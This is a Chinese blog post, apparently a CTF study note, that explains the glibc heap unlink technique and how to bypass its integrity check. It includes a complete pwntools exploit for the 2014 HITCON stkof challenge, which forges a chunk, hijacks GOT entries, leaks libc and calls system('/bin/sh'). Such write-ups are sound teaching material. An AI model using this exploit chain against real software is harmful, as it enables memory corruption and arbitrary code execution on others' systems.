zoukankan      html  css  js  c++  java
  • Unlink

    ### unlink(堆合并)

    1. unlink过程

    ![image-20210926193647898](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210926193647898.png)

    2. [古老的unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

    关于实际地址值构造为什么要加3*size_t或者2*size_t

    > 个人觉得比较靠谱理解:p是chunk的实际指针,p->pk与p的地址相差3*size_t,即p->bk=*(p+3*size_t)
    >
    > 同理:p->fd=p+2*size_t
    >
    > 即:p->fd=*(p+2*size_t)
    >
    > ​ p->bk=*(p+3*size_t)
    >
    > 与实际指针地址冲突吗?
    >
    > 答:unlink里的FD和BK是整个chunk的指针, 不是用户指针ptr

    3. 现代漏洞

    存在检查:

    [现代unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

    ```c
    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    ```

    即固定FD->bk==P&&BK->fd==P,不能任意指向其他位置了

    + 如何绕过

    > 最终理解:
    >
    > 1. 64位程序,size_t=8,p为当前chunk,**FD=p->fd,BK=p->BK**
    > 2. 首先要进入unlink函数,必须保证p的P标志位为1
    >
    > 那么要让它绕过上边的检测,必须满足:
    >
    > - `FD -> bk == P` <=> `*(FD + 12) == P`
    > - `BK -> fd == P` <=> `*(BK + 8) == P`
    >
    > 2. 那么我们构造:
    >
    > BK=p-0x18
    >
    > FD=p-0x10
    >
    > 3. 此时检测:p->fd->bk=*((p->FD)+0x18)=p
    >
    > 同理:p->bk->fd=p
    >
    > 4. 满足条件,如果存在相邻的freechunk,进行unlink操作(满足unlink条件程序自动操作)
    >
    > unlink操作:
    >
    > `FD->bk=BK`
    >
    > `BK->fd=FD`
    >
    > + 最终效果:p=p-0x18
    >
    > 在unlink中:p的地址被改变
    >
    > 5. 由此可见,实现了p的地址被改变,且下次edit这块chunk时,可以任意写入地址

    + 源码分析

    ![image-20210928203612844](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928203612844.png)

    + 实例分析

    ![image-20210928214934472](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928214934472.png)

    ## 例9(2014-HITCON-stkof)

    1. 程序分析:

    + 主函数功能分析:

    选择功能

    1. alloc:输入size,malloc(size)字节空间,并使用全局变量s指向该段空间

    2. read_in:首先输入s,代表选中第s个chunk;再输入s,代表将读入字节的个数;再输入读入数据(此处存在堆溢出)

    > ```c
    > size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
    > ```
    >
    > - **ptr** -- 这是指向带有最小尺寸 *size*nmemb* 字节的内存块的指针。
    > - **size** -- 这是要读取的每个元素的大小,以字节为单位。
    > - **nmemb** -- 这是元素的个数,每个元素的大小为 size 字节。
    > - **stream** -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。

    3. my_free:输入s代表选中第s个chunk,将其free掉

    + 变量的解释

    ![image-20210927205025212](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210927205025212.png)

    2. 思路:

    - 利用 unlink 修改 global[2] 为 &global[2]-0x18。
    - 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
    - 修改 `free@got` 为 `puts@plt` 的地址,从而当再次调用 `free` 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
    - free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
    - 修改 `atoi@got` 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

    3. exp

    ```python
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
    context.log_level = 'debug'
    context.binary = "./stkof"
    stkof = ELF('./stkof')
    if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
    else:
    p = process("./stkof")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('./libc.so.6')
    head = 0x602140


    def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK ')


    def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK ')


    def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


    def exp():
    # trigger to malloc buffer for io function
    alloc(0x100) # idx 1
    # begin
    alloc(0x30) # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80) # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0) #prev_size
    payload += p64(0x20) #size
    payload += p64(head + 16 - 0x18) #fd
    payload += p64(head + 16 - 0x10) #bk
    payload += p64(0x20) # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)

    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK ')
    #此时已经完成unlink,因为3被free掉,而P标志位认为2也是free的
    #此时的bss段的s(0x602140)已经写入head+16-0x18,并认为他是第二块chunk
    #那么编辑第二块chunk,其实就是编辑bss段的(0x602140+16-0x18),要编辑到s指向的地方,需要填充8个字节垃圾数据,而其之后写入的就是s[1],s[2]...,而不是之前认为的往chunk里边写数据
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
    stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    #此处再次编辑的时候是把free的got表改成了put@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil(' OK ', drop=True).ljust(8, 'x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


    if __name__ == "__main__":
    exp()
    ```

  • 相关阅读:
    BZOJ1187 [HNOI2007]神奇游乐园(插头dp)
    BZOJ4926 皮皮妖的递推
    BZOJ3684 大朋友和多叉树(多项式相关计算)
    BZOJ4574 [Zjoi2016]线段树
    杜教筛进阶+洲阁筛讲解+SPOJ divcnt3
    从几场模拟考试看一类分块算法
    bzoj3142 luogu3228 HNOI2013 数列
    luogu3244 bzoj4011 HNOI2015 落忆枫音
    codeforces 286E Ladies' Shop
    BZOJ4825 单旋
  • 原文地址:https://www.cnblogs.com/yylblog/p/15350283.html
Copyright © 2011-2022 走看看